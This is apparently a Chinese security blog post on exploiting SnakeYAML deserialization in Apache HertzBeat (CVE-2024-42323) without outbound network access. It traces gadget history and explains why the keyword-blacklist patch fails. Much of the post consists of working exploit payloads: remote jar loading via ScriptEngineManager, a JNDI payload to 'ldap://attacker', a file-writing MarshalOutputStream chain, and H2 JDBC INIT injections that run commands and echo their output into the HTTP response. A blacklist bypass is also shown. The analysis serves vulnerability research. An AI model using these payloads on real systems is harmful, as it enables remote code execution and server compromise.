上周日聯合@Ar3h 師傅一起,在【代碼審計知識星球】里發布了一個Springboot的小挑戰:https://t.zsxq.com/tSBBZ,這個小挑戰的核心目標是在無法連接外網的情況下,如何利用PSQL JDBC注入漏洞。我會分兩篇文章來講講Java安全的不出網利用,第一篇文章會介紹最近遇到的一個實際案例,也就是Vulhub里的Apache Hertzbeat的后臺代碼執行漏洞(CVE-2024-42323);第二篇文章,來講講星球里這個小挑戰的預期和非預期答案。
SnakeYAML反序列化歷史
Apache HertzBeat是一個開源的實時監控告警工具,支持對操作系統、中間件、數據庫等多種對象進行監控,并提供 Web 界面進行管理。
HertzBeat在解析YAML的時候使用了SnakeYAML,而SnakeYAML在滿足如下兩個條件時,將會存在反序列化漏洞(CVE-2022-1471):
? 版本<2.0
? 初始化Yaml對象時沒有使用
SafeConstructor
互聯網上已經有很多關于SnakeYAML反序列化原理和利用的文章了,大部分的Payload都是基于ScriptEngineManager
:
!!javax.script.ScriptEngineManager?[!!java.net.URLClassLoader?[[!!java.net.URL?["http://localhost:8080/"]]]]
我是一個比較喜歡考古的人,我翻了一下這個Payload的來龍去脈。它最早出現或者說被公開是在Moritz Bechler 2017年發布的marshalsec項目以及Paper中,marshalsec相信大家不陌生,幾乎是和ysoserial并肩的Java反序列化開山鼻祖之作。
Moritz Bechler在paper中提出,使用JDK自帶的ScriptEngineManager類可以加載來自于遠程服務器的Jar包,進而通過這個方式執行任意字節碼。他同時也提到了另一個使用JNDI來進行RCE的payload,也是很熟悉的類了:
!!?com.sun.rowset.JdbcRowSetImpldataSourceName:?ldap://attacker/objautoCommit:?true
對于2017年的安全研究者來說,marshalsec提出的這些漏洞以及Gadgets讓所有人眼前一亮,相比于ysoserial僅關注Java默認的反序列化漏洞而言,marshalsec填補了json、xml、yaml、hessian等第三方反序列化領域的空缺。
這時候我就有點好奇了,既然2017年就有人提出了SnakeYAML的反序列化漏洞,為什么CVE編號是CVE-2022-1471?
這就不得不說到,SnakeYAML的作者Andrey Somov一直拒絕認為這是一個安全漏洞,直到2022年有好事之徒為這個反序列化漏洞申請了一個CVE編號(CVE-2022-1471),于是正反雙方開始在這個issue里進行辯論。
Andrey Somov非常惱火于有太多“低質量”安全工具,一旦發現有項目依賴SnakeYAML就會報反序列化漏洞,而SnakeYAML當時沒有針對這個問題發布任何修復建議或補丁。
他認為,100%的SnakeYAML使用場景下,解析的YAML都來自于可信的地方。況且SnakeYAML在十年前就提供了SafeConstructor()
這個類來限制反序列化白名單以外的對象,所以這并不是一個安全漏洞,用戶不需要“修復”漏洞。
不過,最后Andrey Somov還是屈服了,為了避免再被安全工具騷擾,他在2.0中“修復”了這個漏洞,修復方法是遵從“Secure by Default”原則——開發者不再需要手工調用SafeConstructor()
,讓其成為默認選項。
尋找SnakeYAML利用鏈
回到漏洞本身,我們其實可以發現,SnakeYAML反序列化的利用,實際上又是一個找Gadget的游戲。marshalsec作者在paper中提到的兩個利用鏈都需要連接外網,第一個需要從http或者ftp地址下載jar包,第二個需要連接惡意JNDI服務器,我們可以找找看是否有更好的利用鏈。
尋找SnakeYAML Gadget的方法,我并不認為需要單獨跑什么工具來從零挖掘,只需看看現在公開的漏洞中,是否有合適的類可以利用。SnakeYAML的利用鏈和Fastjson其實有點類似,我畫了一個表格來描述他們二者的相似與不同點:
Fastjson | SnakeYAML | |
setter | ? | ? |
getter | ? | ? |
constructor | ?(有條件) | ? |
SnakeYAML的利用鏈沒有辦法調用getter,所以可以看看fastjson中常用的那些不需要getter的利用鏈。
com.sun.org.apache.bcel.internal.util.ClassLoader:看似不需要使用$ref
,但實際上調用JSONObject.toString()的時候觸發了getConnection()才能執行字節碼,所以實際上這個利用鏈是需要getter的。另外,bcel對Java版本要求比較高,參考我在《BCEL ClassLoader去哪了》這篇文章中的分析,8u251以后就不再有這個類。
com.sun.rowset.JdbcRowSetImpl:經典payload,但是需要利用JNDI注入,對網絡和Java版本都有一定要求。
com.mchange.v2.c3p0.WrapperConnectionPoolDataSource:這個利用鏈實際上是marshalsec中先為SnakeYAML提出的,后來國內的安全研究者將其應用在了fastjson中。它的優點是可以直接執行字節碼,不需要寫文件和連接外網,缺點是c3p0這個第三方依賴用的并不多。
sun.rmi.server.MarshalOutputStream:@rmb122在《fastjson 1.2.68 反序列化漏洞 gadgets 挖掘筆記》這篇文章里發現的fastjson寫文件利用鏈。他在文中提到:
這里分享一條我找到的不需要三方庫的鏈, 注意雖然不需要三方庫, 但只能在 openjdk >= 11 下利用, 因為只有這些版本沒去掉符號信息. fastjson 在類沒有無參數構造函數時, 如果其他構造函數是有符號信息的話也是可以調用的, 所以可以多利用一些內部類, 但是 openjdk 8, 包括 oracle jdk 都是不帶這些信息的, 導致無法反序列化, 自然也就無法利用. 所以相對比較雞肋, 僅供學習。
對于有參構造函數來說,json的特性導致fastjson需要找到每個參數的名稱才能進行初始化。在Java 8下,內部類沒有符號信息,函數參數也就沒有名稱,導致這個利用鏈變得雞肋。
但SnakeYAML對于構造函數并沒有特殊要求,我們可以通過type + 參數列表的方式調用任意構造函數,這樣讓這個利用鏈能夠在不同Java版本中生效。
!!sun.rmi.server.MarshalOutputStream?[!!java.util.zip.InflaterOutputStream?[!!java.io.FileOutputStream?[!!java.io.File?["success.jar"],false],!!java.util.zip.Inflater?{?input:?!!binary?eJxLLE5JTCkGAAh5AnE=?},1048576]]
我們可以通過這個利用鏈寫入Jar包,然后再利用前面說到的javax.script.ScriptEngineManager
加載本地的Jar包,完成不出網的利用,這是第一個相對比較完美的利用鏈:
!!javax.script.ScriptEngineManager?[!!java.net.URLClassLoader?[[!!java.net.URL?["file:///success.jar"]]]]
利用JDBC注入執行命令
如果想要利用一個數據包完成命令執行,是否有可以利用的Gadget呢?
既然SnakeYAML可以調用構造函數,其實我最開始想到的是org.springframework.context.support.ClassPathXmlApplicationContext,使用ClassPathXmlApplicationContext來執行任意命令:
!!org.springframework.context.support.ClassPathXmlApplicationContext?[?"http://example.com/spring.xml"?]
當然,ClassPathXmlApplicationContext也需要加載遠程文件,如果無法連外網,我們也需要通過前面寫文件再讀取的方式來利用。
《Java安全攻防之老版本 Fastjson 的一些不出網利用》這篇文章中曾經提到fastjson可以借助H2的JDBC注入來利用:
[{"@type":"java.lang.Class","val":"org.h2.jdbcx.JdbcDataSource"},{"@type":"org.h2.jdbcx.JdbcDataSource","url":"jdbc:h2:mem:test;MODE=MSSQLServer;INIT=drop alias if exists exec\\;CREATE ALIAS EXEC AS 'void exec() throws java.io.IOException { Runtime.getRuntime().exec(\"open -a calculator.app\")\\; }'\\;CALL EXEC ()\\;"},{"$ref":"$[1].connection"}
]
這個POC初始化org.h2.jdbcx.JdbcDataSource后,再利用$[1].connection
來調用getConnection()
,觸發JDBC注入。
SnakeYAML雖然并不支持調用getter,但我們也沒必要把思路禁錮在getConnection()
。跟進getConnection()
后,我發現其實際上是org.h2.jdbc.JdbcConnection這個類的一個工廠函數:
@Override
public?Connection?getConnection()?throws?SQLException {debugCodeCall("getConnection");return?new?JdbcConnection(url,?null, userName, StringUtils.cloneCharArray(passwordChars),?false);
}
那么就簡單了,直接利用SnakeYAML調用JdbcConnection的構造函數即可:
!!org.h2.jdbc.JdbcConnection?[?"jdbc:h2:mem:test;MODE=MSSQLServer;INIT=drop alias if exists exec\\;CREATE ALIAS EXEC AS $$void exec() throws java.io.IOException { Runtime.getRuntime().exec(\"calc.exe\")\\; }$$\\;CALL EXEC ()\\;", {},?"a",?"b",?false?]
優化YAML Payload,減少轉義
我們來觀察一下這個利用h2編寫的POC,這里其實調用了org.h2.jdbc.JdbcConnection的構造函數,并傳入了5個參數,他們分別是:
? JDBC的完整URL
? JDBC的屬性列表,類型是Java中的
Hashtable
,對應到YAML中就是一個map? 連接用戶名
? 連接密碼
? 是否禁止創建數據庫(forbidCreation)
這里有一個值得關注的參數,forbidCreation,用于禁止創建新的數據庫。還記得H2 Database Web Console的未授權訪問漏洞導致的JDBC注入(CVE-2022-23221)嗎?
這個漏洞的修復方法之一就是將forbidCreation默認值設置為true,禁止創建數據庫。
當forbidCreation等于true時,必須在目標服務器上找到一個已經存在的h2數據庫文件進行連接才能執行后續JDBC注入操作,內存數據庫jdbc:h2:mem
也無法使用。
但幸運的是,JdbcConnection的構造函數支持讓攻擊者直接控制所有參數,所以直接將其設置為false即可。
另外,我們觀察到,第一個參數URL中,由于要在INIT中執行多個SQL語句,所以我使用了反斜線對分號進行轉義\;
,但又由于整個URL位于YAML中的字符串中,所以還要再次對反斜線進行轉義\\;
,整個POC的可讀性大大降低。
網上有一些文章說JDBC的INIT中不支持執行多個SQL語句,其實原因就是沒有轉義分號導致的,實際上這里并沒有限制。
其實JdbcConnection構造函數的第二個參數是屬性表,我們完全可以將INIT這種屬性放到這里面,以減少URL參數中的轉義,然后將YAML修改成我們更熟悉的樣式:
!!org.h2.jdbc.JdbcConnection
-?jdbc:h2:mem:test
-?MODE:?MSSQLServerINIT:?|drop alias if exists exec;CREATE ALIAS EXEC AS $$void exec() throws Exception {Runtime.getRuntime().exec("calc.exe");}$$;CALL EXEC ();
-?a
-?b
-?false
利用Spring方法制造回顯
Apache Hertzbeat是基于Spring開發的應用,我們可以繼續改造Payload,讓其使用org.springframework.web.context.request.RequestContextHolder.currentRequestAttributes().getResponse()
拿到response,寫入命令執行的結果:
!!org.h2.jdbc.JdbcConnection
-?jdbc:h2:mem:test
-?MODE:?MSSQLServerINIT:?|DROP ALIAS IF EXISTS EXEC;CREATE ALIAS EXEC AS $$void exec() throws Exception {org.springframework.util.StreamUtils.copy(java.lang.Runtime.getRuntime().exec("id").getInputStream(),((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.currentRequestAttributes()).getResponse().getOutputStream());}$$;CALL EXEC ();
-?a
-?b
-?false
后續思考
Apache Hertzbeat在收到漏洞報告后,在v1.4.1版本中“修復”了這個漏洞:https://github.com/apache/hertzbeat/pull/1239。但其實這個補丁效果不大,其利用黑名單的方式禁用了“ScriptEngineManager”和“URLClassLoader”兩個關鍵字:
但閱讀本文你可以發現,我們使用的利用鏈完全不受到這個關鍵詞的影響,更不用說我可以利用YAML中的一些語法繞過檢查了。
按照這個PR的時間(2023年9月)來看,當年倔強的SnakeYAML作者也已經發布了2.0版本,通過直接升級版本號的方式就能解決這個問題;如果不能升級依賴,也可以使用SafeConstructor()
來避免反序列化不安全的對象,但他這里還是選擇了一個最差的方案。
好在v1.6.0版本中,Hertzbeat最終通過增加SafeConstructor
修復了這個問題:https://github.com/apache/hertzbeat/pull/1611。
回顧本文提到的所有利用鏈,其中有一個org.springframework.context.support.ClassPathXmlApplicationContext我只提到了一嘴。這個類相信學習過Java安全的同學都非常熟悉,利用這個類真的需要連接外網嗎?如果現在有如下Java函數,再無其他用戶代碼,是否可以不出網利用?
@Controller
publicclassIndexController?{@ResponseBody@RequestMapping("/index")public?String?index(String name, String arg)throws?Exception {Class<?> clazz = Class.forName(name);Constructor<?> constructor = clazz.getConstructor(String.class);Object?instance?=?constructor.newInstance(arg);return?"done";}
}
這個有點像PHP中的new $_GET[class]($_GET[arg]);
,也是我文首說到的星球小挑戰的預期考點。下一篇文章,我會分享一下這道題的官方解法與非預期解法。